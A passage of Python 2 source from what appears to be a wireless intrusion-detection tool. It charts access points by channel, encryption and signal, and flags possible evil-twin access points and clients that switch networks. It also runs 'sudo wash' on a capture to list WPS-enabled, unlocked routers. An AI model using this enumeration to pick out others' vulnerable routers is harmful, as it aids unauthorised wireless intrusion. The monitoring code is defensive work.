        if CH5==0 and DCH5!=0:
            CH5=1
        if CH6==0 and DCH6!=0:
            CH6=1
        if CH7==0 and DCH7!=0:
            CH7=1
        if CH8==0 and DCH8!=0:
            CH8=1
        if CH9==0 and DCH9!=0:
            CH9=1
        if CH10==0 and DCH10!=0:
            CH10=1
        if CH11==0 and DCH11!=0:
            CH11=1
        if CH12==0 and DCH12!=0:
            CH12=1
        if CH13==0 and DCH13!=0:
            CH13=1
        if CH14==0 and DCH14!=0:
            CH14=1
        if CH100==0 and DCH100!=0:
            CH100=1
    EN_CHG=0
    if EN_TIMES=="x2":
        WPA2=int(WPA2*2);WPA=int(WPA*2);WEP=int(WEP*2);OPN=int(OPN*2);UNK=int(UNK*2)
    if EN_TIMES=="/2" or EN_TIMES=="/3" or EN_TIMES=="/4":
        EN_CHG=1
        DivVal=int(EN_TIMES[-1:]);WPA2=int(WPA2/DivVal);WPA=int(WPA/DivVal);WEP=int(WEP/DivVal);OPN=int(OPN/DivVal);UNK=int(UNK/DivVal)
    if EN_CHG==1:
        if WPA2==0 and DWPA2!=0:
            WPA2=1
        if WPA==0 and DWPA!=0:
            WPA=1
        if WEP==0 and DWEP!=0:
            WEP=1
        if OPN==0 and DOPN!=0:
            OPN=1
        if UNK==0 and DUNK!=0:
            UNK=1
    CL_CHG=0
    if CL_TIMES=="x2" or CL_TIMES=="x3" or CL_TIMES=="x4":
        DivVal=int(CL_TIMES[-1:])
        WPA2_CLN=int(WPA2_CLN*DivVal);WPA_CLN=int(WPA_CLN*DivVal);WEP_CLN=int(WEP_CLN*DivVal);OPN_CLN=int(OPN_CLN*DivVal);UNK_CLN=int(UNK_CLN*DivVal)
    if CL_TIMES=="/2" or CL_TIMES=="/3" or CL_TIMES=="/4":
        CL_CHG=1
        DivVal=int(CL_TIMES[-1:]);WPA2_CLN=int(WPA2_CLN/DivVal);WPA_CLN=int(WPA_CLN/DivVal);WEP_CLN=int(WEP_CLN/DivVal);OPN_CLN=int(OPN_CLN/DivVal);UNK_CLN=int(UNK_CLN/DivVal)
    if CL_CHG==1:
        if WPA2_CLN==0 and DWPA2_CLN!=0:
            WPA2_CLN=1
        if WPA_CLN==0 and DWPA_CLN!=0:
            WPA_CLN=1
        if WEP_CLN==0 and DWEP_CLN!=0:
            WEP_CLN=1
        if OPN_CLN==0 and DOPN_CLN!=0:
            OPN_CLN=1
        if UNK_CLN==0 and DUNK_CLN!=0:
            UNK_CLN=1
    SN_CHG=0
    if SN_TIMES=="x2" or SN_TIMES=="x3" or SN_TIMES=="x4":
        DivVal=int(SN_TIMES[-1:])
        SN_VG=int(SN_VG*DivVal);SN_GD=int(SN_GD*DivVal);SN_AV=int(SN_AV*DivVal);SN_PR=int(SN_PR*DivVal);SN_UK=int(SN_UK*DivVal)
    if SN_TIMES=="/2" or SN_TIMES=="/3" or SN_TIMES=="/4":
        SN_CHG=1
        DivVal=int(SN_TIMES[-1:]);SN_VG=int(SN_VG/DivVal);SN_GD=int(SN_GD/DivVal);SN_AV=int(SN_AV/DivVal);SN_PR=int(SN_PR/DivVal);SN_UK=int(SN_UK/DivVal)
    if SN_CHG==1:
        if SN_VG==0 and DSN_VG!=0:
            SN_VG=1
        if SN_GD==0 and DSN_GD!=0:
            SN_GD=1
        if SN_AV==0 and DSN_AV!=0:
            SN_AV=1
        if SN_PR==0 and DSN_PR!=0:
            SN_PR=1
        if SN_UK==0 and DSN_UK!=0:
            SN_UK=1
    Title1 = "Channel [ " + str(x) + " ] Access Points"; Title1 = Title1.ljust(80)
    Title2 = "Encryption (Access Point / Total WPS)";Title2 = Title2.ljust(50)
    MainTitle = fcolor.BGreen + str(Title1) + str(Title2)
    print MainTitle
    print ""
    DText=DisplayBar("Channel 01  : ", " ", CH1, DCH1, 80, fcolor.BWhite, fcolor.BGRed, fcolor.SWhite)
    DText2=DisplayBar("WPA2    : ", " ", WPA2, str(DWPA2) + " / " + str(WPA2_WPS) + " WPS", 50, fcolor.BWhite, fcolor.BGRed, fcolor.SWhite)
    print DText + DText2;print ""
    DText=DisplayBar("Channel 02  : ", " ", CH2, DCH2, 80, fcolor.BWhite, fcolor.BGGreen, fcolor.SWhite)
    DText2=DisplayBar("WPA     : ", " ", WPA, str(DWPA) + " / " + str(WPA_WPS) + " WPS", 50, fcolor.BWhite, fcolor.BGPink, fcolor.SWhite)
    print DText + DText2;print ""
    DText=DisplayBar("Channel 03  : ", " ", CH3, DCH3, 80, fcolor.BWhite, fcolor.BGYellow, fcolor.SWhite)
    DText2=DisplayBar("WEP     : ", " ", WEP, str(DWEP) + " / " + str(WEP_WPS) + " WPS", 50, fcolor.BWhite, fcolor.BGYellow, fcolor.SWhite)
    print DText + DText2;print ""
    DText=DisplayBar("Channel 04  : ", " ", CH4, DCH4, 80, fcolor.BWhite, fcolor.BGBlue, fcolor.SWhite)
    DText2=DisplayBar("OPN     : ", " ", OPN, str(DOPN) + " / " + str(OPN_WPS) + " WPS", 50, fcolor.BWhite, fcolor.BGGreen, fcolor.SWhite)
    print DText + DText2;print ""
    DText=DisplayBar("Channel 05  : ", " ", CH5, DCH5, 80, fcolor.BWhite, fcolor.BGPink, fcolor.SWhite)
    DText2=DisplayBar("Unknown : ", " ", UNK, str(DUNK) + " / " + str(UNK_WPS) + " WPS", 50, fcolor.BWhite, fcolor.BGWhite, fcolor.SWhite)
    print DText + DText2;print ""
    DText=DisplayBar("Channel 06  : ", " ", CH6, DCH6, 80, fcolor.BWhite, fcolor.BGCyan, fcolor.SWhite)
    print DText + fcolor.BGreen + "Connected Client (Access Point / Total Clients)";print ""
    DText=DisplayBar("Channel 07  : ", " ", CH7, DCH7, 80, fcolor.BWhite, fcolor.BGWhite, fcolor.SWhite)
    DText2=DisplayBar("WPA2    : ", " ", WPA2_CLN, str(DWPA2_CLN) + " / " + str(WPA2_CLNCT) + " Clients", 50, fcolor.BWhite, fcolor.BGBlue, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 08  : ", " ", CH8, DCH8, 80, fcolor.BWhite, fcolor.BGIRed, fcolor.SWhite)
    DText2=DisplayBar("WPA     : ", " ", WPA_CLN, str(DWPA_CLN) + " / " + str(WPA_CLNCT) + " Clients", 50, fcolor.BWhite, fcolor.BGBlue, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 09  : ", " ", CH9, DCH9, 80, fcolor.BWhite, fcolor.BGIGreen, fcolor.SWhite)
    DText2=DisplayBar("WEP     : ", " ", WEP_CLN, str(DWEP_CLN) + " / " + str(WEP_CLNCT) + " Clients", 50, fcolor.BWhite, fcolor.BGBlue, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 10  : ", " ", CH10, DCH10, 80, fcolor.BWhite, fcolor.BGIYellow, fcolor.SWhite)
    DText2=DisplayBar("OPN     : ", " ", OPN_CLN, str(DOPN_CLN) + " / " + str(OPN_CLNCT) + " Clients", 50, fcolor.BWhite, fcolor.BGBlue, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 11  : ", " ", CH11, DCH11, 80, fcolor.BWhite, fcolor.BGIBlue, fcolor.SWhite)
    DText2=DisplayBar("Unknown : ", " ", UNK_CLN, str(DUNK_CLN) + " / " + str(UNK_CLNCT) + " Clients", 50, fcolor.BWhite, fcolor.BGWhite, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 12  : ", " ", CH12, DCH12, 80, fcolor.BWhite, fcolor.BGIPink, fcolor.SWhite)
    print DText + fcolor.BGreen + "Signal Range";print ""
    DText=DisplayBar("Channel 13  : ", " ", CH13, DCH13, 80, fcolor.BWhite, fcolor.BGICyan, fcolor.SWhite)
    DText2=DisplayBar("Good    : ", " ", SN_GD, str(DSN_GD) , 50, fcolor.BWhite, fcolor.BGGreen, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel 14  : ", " ", CH14, DCH14, 80, fcolor.BWhite, fcolor.BGGreen, fcolor.SWhite)
    DText2=DisplayBar("Average : ", " ", SN_AV, str(DSN_AV) , 50, fcolor.BWhite, fcolor.BGYellow, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Channel >14 : ", " ", CH100, DCH100, 80, fcolor.BWhite, fcolor.BGYellow, fcolor.SWhite)
    DText2=DisplayBar("Poor    : ", " ", SN_PR, str(DSN_PR) , 50, fcolor.BWhite, fcolor.BGRed, fcolor.SWhite)
    print DText + DText2 ;print ""
    DText=DisplayBar("Error Chn   : ", " ", CH0, DCH0, 80, fcolor.BWhite, fcolor.BGRed, fcolor.SWhite)
    DText2=DisplayBar("Unknown : ", " ", SN_UK, str(DSN_UK) , 50, fcolor.BWhite, fcolor.BGWhite, fcolor.SWhite)
    print DText + DText2 ;print ""

def DisplayBar(Label, Fill, BarTimes, BarCount, Justify, LblColor, BarColor, CountColor):
    DText="C1" + str(Label) + "C2" + Fill * int(BarTimes) + "C3" + " " + str(BarCount)
    DText=DText.ljust(Justify + 6)
    DText=DText.replace("C1",LblColor).replace("C2",BarColor).replace("C3", fcolor.CReset + CountColor)
    return DText

def ExtractWPS():
    LineList = []
    __builtin__.ListInfo_WPSExist = 0
    __builtin__.ListInfo_WPSAdd = 0
    __builtin__.ListInfo_WPSCount = 0
    exename=""
    if IsProgramExists("wash")==True:
        exename="wash"
    elif IsProgramExists("walsh")==True:
        exename="walsh"
    if exename!="":
        cmdLine=[ 'sudo',exename,'-o', __builtin__.WPS_DUMP, '-C', '-f', tmpdir + "Collect-Dump-01.cap" ]
        ps=Popen(cmdLine, stdout=PIPE,stderr=open(os.devnull, 'w'))
        time.sleep(1)
        if IsFileDirExist(__builtin__.WPS_DUMP)=="F":
            with open(__builtin__.WPS_DUMP,"r") as f:
                for line in f:
                    line=line.replace("\n","")
                    line=line.replace("\00","")
                    tline=line.replace(" ","")
                    if tline.find("BSSIDChannelRSSIWPSVersionWPSLocked")==-1 and tline.find("--------------------")==-1 and len(line)>80:
                        st = list(line)
                        st[18]=";"
                        st[30]=";"
                        st[45]=";"
                        st[60]=";"
                        st[80]=";"
                        lp="".join(st)
                        LineList=lp.split(";")
                        BSSID=LineList[0].lstrip().rstrip()
                        if len(BSSID)==17:
                            __builtin__.ListInfo_WPSCount += 1
                            WPSVer=LineList[3].lstrip().rstrip()
                            WPSLock=LineList[4].lstrip().rstrip()
                        x=0
                        foundloc=0
                        Skip=""
                        while x < len(ListInfo_BSSID):
                            if BSSID==ListInfo_BSSID[x]:
                                Skip="1"
                                foundloc=x
                                x = len(ListInfo_BSSID)
                                if ListInfo_WPS[foundloc]!="Yes":
                                    __builtin__.ListInfo_WPSAdd += 1
                                else:
                                    __builtin__.ListInfo_WPSExist += 1
                            x=x+1
                        if Skip=="1":
                            ListInfo_WPS[foundloc] = "Yes"
                            ListInfo_WPSVer[foundloc] = WPSVer
                            ListInfo_WPSLock[foundloc] = WPSLock

def DisplayESSIDDetail(MACAddr,MACColor):
    Result=""
    ESSID=FindESSID(MACAddr)
    if ESSID=="":
        ESSID=fcolor.BIGray + "<<NO NAME>>"
    Result=ColorStd2 + "  BSSID    [ " + MACColor + str(MACAddr) + ColorStd2 + " ]'s Name is [ " + fcolor.BYellow + str(ESSID) + ColorStd2 + " ].\n"
    return Result

def DisplaySSIDDetail(MACAddr):
    i=0
    Result=""
    while i < len(ListInfo_BSSID):
        if str(ListInfo_BSSID[i])==str(MACAddr):
            PrivacyDetail=str(ListInfo_Privacy[i]) + " / " + str(ListInfo_Cipher[i]) + " / " + str(ListInfo_Auth[i])
            Result= ColorStd2  + "  Details  : " + fcolor.BGreen + str(PrivacyDetail).ljust(36) + ColorStd2 + "Channel : " + fcolor.BGreen + str(ListInfo_Channel[i]).ljust(9) + ColorStd2 + "Client : " + fcolor.BGreen + str(ListInfo_ConnectedClient[i]).ljust(9)  + ColorStd2 + "WPS : " + fcolor.BGreen + str(ListInfo_WPS[i]).ljust(5)  + "\n"
            return str(Result);
        i += 1
    return Result;

def GetSignal(MACAddr):
    Signal=""
    foundloc=FindMACIndex(MACAddr,ListInfo_BSSID)
    if foundloc==-1:
        foundloc=FindMACIndex(MACAddr,ListInfo_STATION)
        if foundloc!=-1:
            Signal=ListInfo_CBestQuality[foundloc]
    else:
        Signal=ListInfo_BestQuality[foundloc]
    return Signal

def GetSignalData(MACAddr):
    Signal=""
    foundloc=FindMACIndex(MACAddr,ListInfo_BSSID)
    if foundloc==-1:
        foundloc=FindMACIndex(MACAddr,ListInfo_STATION)
        if foundloc!=-1:
            Signal=ListInfo_CBestQuality[foundloc]
            Signal=Signal + " / " + ListInfo_CQualityRange[foundloc]
    else:
        Signal=ListInfo_BestQuality[foundloc]
        Signal=Signal + " / " + ListInfo_QualityRange[foundloc]
    return Signal

def ReplaceSlash(sStr,sColor,slColor):
    if sStr[-3:]==" / ":
        sStr=sStr[:-3]
    sStr=sStr.replace(" / ",slColor + " / " + sColor)
    return sColor + sStr

def RemoveDoubleLF(strValue):
    ax=0
    while ax<3:
        strValue=str(strValue).replace("\n\n","\n")
        ax += 1
    return strValue

def RemoveAdditionalLF(strValue):
    ax=0
    while ax<3:
        strValue=str(strValue).replace("\n\n\n","\n\n")
        ax += 1
    return strValue

def DisplayOUIDetail(MACAddr,MACColor):
    Result=""
    OUI=Check_OUI(MACAddr,"")
    Result=ColorStd2 + "  MAC Addr [ " + MACColor + str(MACAddr) + ColorStd2 + " ]'s MAC OUI belongs to [ " + fcolor.SCyan + str(OUI) + ColorStd2 + " ].\n"
    return Result

def ListDuplicate(clist):
    seen = set()
    seen_add = seen.add
    seen_twice = set(x for x in clist if x in seen or seen_add(x))
    return list(seen_twice)

def ConvertNoToAlpha(num):
    chrlist=['-','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','aa','ab','ac','ad','ae','af','ag','ah','ai','aj','ak','al','am','an','ao','ap','aq','ar','as','at','au','av','aw','ax','ay','az','ba','bb','bc','bd','be','bf','bg','bh','bi','bj','bk','bl','bm','bn','bo','bp','bq','br','bs','bt','bu','bv','bw','bx','by','bz','ca','cb','cc','cd','ce','cf','cg','ch','ci','cj','ck','cl','cm','cn','co','cp','cq','cr','cs','ct','cu','cv','cw','cx','cy','cz']
    return chrlist[int(num)]

def CheckWhitelist(sVal):
    if str(__builtin__.WhiteMACList).find("'" + sVal + "'")!=-1 or str(__builtin__.WhiteNameList).find("'" + sVal + "'")!=-1:
        return sVal
    return ""

def CheckDiffBSSIDConnection():
    x=0
    __builtin__.MSG_DiffBSSIDConnection=""
    __builtin__.MSG_NoAssocConnection=""
    __builtin__.MSG_APnClient=""
    __builtin__.MSG_EvilTwins=""
    tmpAll_ESSID=[]
    ColorSeen=fcolor.SBlue
    CautiousCount=0
    x=0
    while x < len(ListInfo_ESSID):
        tmpAll_ESSID.append (ListInfo_ESSID[x])
        x += 1
    Similar_ESSID=ListDuplicate(tmpAll_ESSID)
    Similar_ESSID=filter(None,Similar_ESSID)
    if len(Similar_ESSID)>0:
        x=0
        while x<len(Similar_ESSID) and CheckWhitelist(Similar_ESSID[x])=="":
            if len(str(x))==1:
                spacer="  "
            if len(str(x))==2:
                spacer=" "
            y=0
            bssidct=0
            CautiousCount += 1
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + fcolor.SWhite + "[" + fcolor.BRed + str(CautiousCount) + fcolor.SWhite + "]" + spacer + fcolor.BGreen + "SSID Name   [ " + fcolor.BPink + str(Similar_ESSID[x]) + fcolor.BGreen + " ]\n"
            while y<len(ListInfo_ESSID):
                if ListInfo_ESSID[y]==Similar_ESSID[x]:
                    BSSID=ListInfo_BSSID[y]
                    BSSIDOUI=Check_OUI(BSSID,"")
                    BSSIDSIGNAL=__builtin__.ListInfo_BestQuality[y] + " dBm / " + RemoveColor(__builtin__.ListInfo_QualityRange[y])
                    CONNECTED_CLIENT=""
                    CONNECTED_CLIENT_CT=0
                    p=0
                    while p<len(__builtin__.ListInfo_CBSSID):
                        if __builtin__.ListInfo_CBSSID[p]==BSSID:
                            CONNECTED_CLIENT=CONNECTED_CLIENT + __builtin__.ListInfo_STATION[p] + " / "
                            CONNECTED_CLIENT_CT += 1
                        p += 1
                    bssidct +=1
                    if CONNECTED_CLIENT!="":
                        CONNECTED_CLIENT=ReplaceSlash(CONNECTED_CLIENT,fcolor.SBlue,fcolor.SWhite)
                    BSSIDText=fcolor.BWhite + str(ConvertNoToAlpha(bssidct)) + ". " + fcolor.BBlue + "BSSID    " + fcolor.SWhite + "[ " + fcolor.BYellow + str(BSSID) + fcolor.SWhite + " ] - Signal : " + fcolor.BGreen + BSSIDSIGNAL.ljust(24) + "" + fcolor.SCyan + str(BSSIDOUI) + "\n"
                    BSSIDText=BSSIDText.replace(" / Good",fcolor.SWhite + " / " + fcolor.SGreen + "Good").replace(" / Average",fcolor.SWhite + " / " + fcolor.SYellow + "Average").replace(" / Poor",fcolor.SWhite + " / " + fcolor.SRed + "Poor").replace(" / Unknown",fcolor.SBlack + " / " + fcolor.SGreen + "Unknown").replace(" / V.Good",fcolor.BGreen + " / " + fcolor.SGreen + "V.Good")
                    __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "   " + spacer + BSSIDText
                    __builtin__.MSG_EvilTwins = __builtin__.MSG_EvilTwins + "      " + str(DisplaySSIDDetail(BSSID))
                    if CONNECTED_CLIENT_CT==0:
                        __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "    " + spacer + fcolor.SWhite + "  Client   [ " + fcolor.SRed + "No Client Found" + fcolor.SWhite + " ]\n"                    
                    else:
                        __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "    " + spacer + fcolor.SWhite + "  Client   [ " + fcolor.BRed + str(CONNECTED_CLIENT_CT) + fcolor.SWhite + " ] - " + fcolor.SBlue + str(CONNECTED_CLIENT) + "\n"
                y += 1
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "\n"
            x += 1
        if __builtin__.MSG_EvilTwins!="":
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "\n" + fcolor.BCyan + "     Note  : " + fcolor.SWhite + "Shown above are Access Points with Similar Name, Evil-Twin in normal cases are usually open network or encrypted if passphase is known."
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "\n" + fcolor.BCyan + "             " + fcolor.SWhite + "Senario where similar names are commonly found in organization, airport, mall, hotel, campus, etc where the area is big."
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + "\n" + fcolor.BCyan + "             " + fcolor.SWhite + "Multiple " + fcolor.SRed + "[Deauthentication]" + fcolor.SWhite + " found on said Access Point detect may indicate high possibility of " + fcolor.SRed + "Evil-Twin\n"
            __builtin__.MSG_EvilTwins=__builtin__.MSG_EvilTwins + ReportNow() + "\n"
            __builtin__.MSG_EvilTwins=fcolor.BRed + str(CautiousCount) + " Similar SSID Names Detected !!!\n" + __builtin__.MSG_EvilTwins
    while x < len(ListInfo_STATION):
        y=0
	if str(ListInfo_BSSID).find(str(ListInfo_STATION[x]))!=-1 and CheckWhitelist(ListInfo_STATION[x])=="":
            y=int(str(ListInfo_BSSID).find(ListInfo_STATION[x]))-2
            y=y/21
            while y < len(ListInfo_BSSID):
                if ListInfo_STATION[x]==ListInfo_BSSID[y]:
                    ConnectedBSSID=""
                    if int(ListInfo_SSIDTimeGap[y])<int(__builtin__.HIDE_AFTER_MIN) and int(ListInfo_CTimeGap[x])<int(__builtin__.HIDE_AFTER_MIN):
                        CautiousCount += 1
                        OUITxt=DisplayOUIDetail(ListInfo_STATION[x],ColorDev)
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ColorStd + "Device MAC [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] is found to be both an " + fcolor.BRed + "Access Point " + ColorStd + "&" + fcolor.BRed + " Wireless Client\n" 
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplayESSIDDetail(ListInfo_STATION[x],ColorDev))
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(OUITxt) 
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplaySSIDDetail(ListInfo_STATION[x])) 
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ColorStd2 + "  Ac. Pt.  : First Seen on [ " + ColorSeen + str(ListInfo_FirstSeen[y]) + ColorStd2 + " ] and Last Seen on [ " + ColorSeen + str(ListInfo_LastSeen[y]) + ColorStd2 + " ] (Last seen " + str(ListInfo_SSIDTimeGap[y]) + " mins ago)\n"
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ColorStd2 + "  Station  : First Seen on [ " + ColorSeen + str(ListInfo_CFirstSeen[x]) + ColorStd2 + " ] and Last Seen on [ " + ColorSeen + str(ListInfo_CLastSeen[x]) + ColorStd2 + " ] (Last seen " + str(ListInfo_CTimeGap[x]) + " mins ago)\n" 
                        if str(ListInfo_CBSSIDPrev[x]).find("Not Associated")==-1:
                            OUITxt2=DisplayOUIDetail(ListInfo_CBSSIDPrev[x],Color1st)
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ColorStd2 + "  Signal   [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] = " + ColorDev + str(GetSignalData(str(ListInfo_STATION[x]))) + ColorStd2 + " ==>  [ " + Color1st + str(ListInfo_CBSSIDPrev[x]) + ColorStd2 + " ] = " + Color1st  + str(GetSignalData(str(ListInfo_CBSSIDPrev[x]))) + "\n"
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ArrangeSignalLocation(ColorDev,str(ListInfo_STATION[x]),str(GetSignal(str(ListInfo_STATION[x]))),Color1st,ListInfo_CBSSIDPrev[x],str(GetSignal(ListInfo_CBSSIDPrev[x])),"  ",ColorStd2,"")
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplayESSIDDetail(ListInfo_CBSSIDPrev[x],Color1st))
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + OUITxt2
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplaySSIDDetail(ListInfo_CBSSIDPrev[x]))
                            ConnectedBSSID=ListInfo_CBSSIDPrev[x]
                        if str(ListInfo_CBSSID[x]).find("Not Associated")==-1 and ListInfo_CBSSIDPrev[x]!=ListInfo_CBSSID[x]:
                            OUITxt2=DisplayOUIDetail(ListInfo_CBSSID[x],Color2nd)
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ColorStd2 + "  Signal   [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd2 + " ] = " + ColorDev + str(GetSignalData(str(ListInfo_STATION[x]))) + ColorStd2 + " ==>  [ " + Color1st + str(ListInfo_CBSSID[x]) + ColorStd2 + " ] = " + Color2nd  + str(GetSignalData(str(ListInfo_CBSSID[x]))) + "\n"
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + ArrangeSignalLocation(ColorDev,str(ListInfo_STATION[x]),str(GetSignal(str(ListInfo_STATION[x]))),Color1st,ListInfo_CBSSID[x],str(GetSignal(ListInfo_CBSSID[x])),"  ",ColorStd2,"")
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplayESSIDDetail(ListInfo_CBSSID[x],Color2nd))
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + OUITxt2
                            __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(DisplaySSIDDetail(ListInfo_CBSSID[x]))
                            ConnectedBSSID=ListInfo_CBSSID[x]
                            
                        __builtin__.MSG_APnClient = __builtin__.MSG_APnClient + str(ReportNow()) + "\n"
                        SkipWrite=0
                        if IsFileDirExist(DBFile1)=="F":
                            with open(DBFile1,"r") as f:
                                for line in f:
                                    line=line.replace("\n","")
                                    line=line.replace("\r","")
                                    if SkipWrite==0:
                                        sl=len(line.replace("\n",""))
                                        if sl>34:
                                            tmplist=[]
                                            tmplist=str(line).split(";")
                                            if len(tmplist)>4:
                                                if tmplist[0]==str(ListInfo_STATION[x]) and tmplist[1]==str(ConnectedBSSID) and tmplist[5]==str(ListInfo_ESSID[y]):
                                                    SkipWrite=1
                                                    break
                        if SkipWrite==0:
                            col=";"
                            WriteData=str(ListInfo_STATION[x]) + str(col) + str(ConnectedBSSID) + str(col) + str(ListInfo_FirstSeen[y]) + str(col) + str(ListInfo_CFirstSeen[x]) + str(col) + str(Now())  + str(col) + str(ListInfo_ESSID[y]) + str(col) + "\n"
                            open(DBFile1,"a+b").write(WriteData)
                    y=len(ListInfo_BSSID)
                y += 1
        if ListInfo_CBSSIDPrev[x]!=ListInfo_CBSSID[x] and CheckWhitelist(ListInfo_STATION[x])=="":
            if ListInfo_CBSSIDPrev[x].find("Not Associated")==-1:
               OUITxt=DisplayOUIDetail(ListInfo_STATION[x],ColorDev)
               OUITxt2=DisplayOUIDetail(ListInfo_CBSSIDPrev[x],Color1st)
               ESSIDTxt2=DisplayESSIDDetail(ListInfo_CBSSIDPrev[x],Color1st)
               OUITxt3=DisplayOUIDetail(ListInfo_CBSSID[x],Color2nd)
               ESSIDTxt3=DisplayESSIDDetail(ListInfo_CBSSID[x],Color2nd)
               CautiousCount += 1
               if len(str(x))==1:
                   spacer="  "
               if len(str(x))==2:
                   spacer=" "
               if ListInfo_CBSSID[x]=="Not Associated":
                   __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ColorStd + " Device    [ "  + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] initially associated with [ " + Color1st + str(ListInfo_CBSSIDPrev[x]) + ColorStd + " ] is now not associated with any access point.\n"
               else:
                   __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ColorStd + " Device    [ "  + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] initially associated with [ " + Color1st + str(ListInfo_CBSSIDPrev[x]) + ColorStd + " ] is now associated to [ " + Color2nd + str(ListInfo_CBSSID[x]) + ColorStd + " ].\n" 
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplayOUIDetail(ListInfo_STATION[x],ColorDev)) 
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ColorStd2 + "  Signal   [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] = " + ColorDev + str(GetSignalData(str(ListInfo_STATION[x]))) + ColorStd + " ==>  [ " + Color1st + str(ListInfo_CBSSIDPrev[x]) + ColorStd + " ] = " + Color1st  + str(GetSignalData(str(ListInfo_CBSSIDPrev[x]))) + "\n"
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ArrangeSignalLocation(ColorDev,str(ListInfo_STATION[x]),str(GetSignal(str(ListInfo_STATION[x]))),Color1st,ListInfo_CBSSIDPrev[x],str(GetSignal(ListInfo_CBSSIDPrev[x])),"  ",ColorStd2,"")
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ColorStd2 + "  Signal   [ " + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] = " + ColorDev + str(GetSignalData(str(ListInfo_STATION[x]))) + ColorStd + " ==>  [ " + Color2nd + str(ListInfo_CBSSID[x]) + ColorStd + " ] = " + Color2nd + str(GetSignalData(str(ListInfo_CBSSID[x]))) + "\n"
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + ArrangeSignalLocation(ColorDev,str(ListInfo_STATION[x]),str(GetSignal(str(ListInfo_STATION[x]))),Color1st,ListInfo_CBSSID[x],str(GetSignal(ListInfo_CBSSID[x])),"  ",ColorStd2,"")
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplayESSIDDetail(ListInfo_CBSSIDPrev[x],Color1st))  
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplayOUIDetail(ListInfo_CBSSIDPrev[x],Color1st)) 
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplaySSIDDetail(ListInfo_CBSSIDPrev[x]))
               if str(ListInfo_CBSSID[x]).find("Not Associated")==-1:
                   __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplayESSIDDetail(ListInfo_CBSSID[x],Color2nd))
                   __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplayOUIDetail(ListInfo_CBSSID[x],Color2nd))
                   __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(DisplaySSIDDetail(ListInfo_CBSSID[x]))
               __builtin__.MSG_DiffBSSIDConnection = __builtin__.MSG_DiffBSSIDConnection + str(ReportNow()) + "\n"
               WriteSwitchedAP(ListInfo_STATION[x],ListInfo_CBSSIDPrev[x],ListInfo_CBSSID[x],FindESSID(ListInfo_CBSSIDPrev[x]), FindESSID(ListInfo_CBSSID[x]))
            else:
               CautiousCount += 1
               if len(str(x))==1:
                   spacer="  "
               if len(str(x))==2:
                   spacer=" "
               OUITxt=DisplayOUIDetail(ListInfo_STATION[x],ColorDev)
               OUITxt3=DisplayOUIDetail(ListInfo_CBSSID[x],Color2nd)
               ESSIDTxt3=DisplayESSIDDetail(ListInfo_CBSSID[x],Color2nd)
               __builtin__.MSG_NoAssocConnection = __builtin__.MSG_NoAssocConnection + ColorStd +  " Device    [ "  + ColorDev + str(ListInfo_STATION[x]) + ColorStd + " ] initially not associated is now associated with [ " + Color2nd + str(ListInfo_CBSSID[x]) + ColorStd + " ].\n" 
